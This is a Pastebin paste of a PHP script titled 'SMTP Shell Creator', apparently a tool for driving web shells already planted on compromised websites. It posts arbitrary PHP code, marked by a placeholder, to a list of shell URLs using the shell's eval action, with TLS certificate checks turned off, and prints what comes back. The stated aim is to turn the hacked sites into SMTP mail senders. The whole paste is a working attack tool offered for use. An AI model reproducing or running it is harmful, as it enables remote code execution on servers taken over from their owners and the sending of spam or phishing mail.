Advertisement
Guest User

Untitled

a guest
Jul 3rd, 2019
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. function curl($url,$eval)
  5. {
  6.  
  7. $ch=curl_init();
  8. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  9. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  10. curl_setopt($ch, CURLOPT_HEADER, 0);
  11. curl_setopt($ch, CURLOPT_URL, $url);
  12. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  13. curl_setopt($ch, CURLOPT_POSTFIELDS, "ajax=true&a=Php&c=&p1=".urlencode($eval)."&p2=&p3=&charset=Windows-1251");
  14. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  16. $f = curl_exec($ch);
  17. $h = curl_getinfo($ch);
  18. curl_close($ch);
  19. $f=getStr($f,"innerHTML='","';");
  20. $f=urldecode($f);
  21. return $f;
  22.  
  23. }
  24. function getStr($string,$start,$end){
  25. $str = explode($start,$string);
  26. $str = explode($end,$str[1]);
  27. return $str[0];
  28. }
  29. $php='
  30.  
  31. your php code HERE
  32.  
  33. ';
  34.  
  35. print '<center><form method="POST">
  36. <p><span style="font-size: 20pt"><font color="#c41013">SMTP</font> Shell Creator</span></p>
  37. <p>Shells (<font color="#c41013">That you want to make smtp from it !</font>)<br><textarea rows="22" name="shells" cols="48">'.$shells.'</textarea></p>
  38. <p><input type="submit" value="Make!" name="B1"></p>
  39. </form></center>';
  40.  
  41. $shells = $_POST['shells'];
  42.  
  43.  
  44. $result = curl($shells,$php);
  45. $result= str_replace('\r\n', "<br>\r\n", $result);
  46. print $result;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement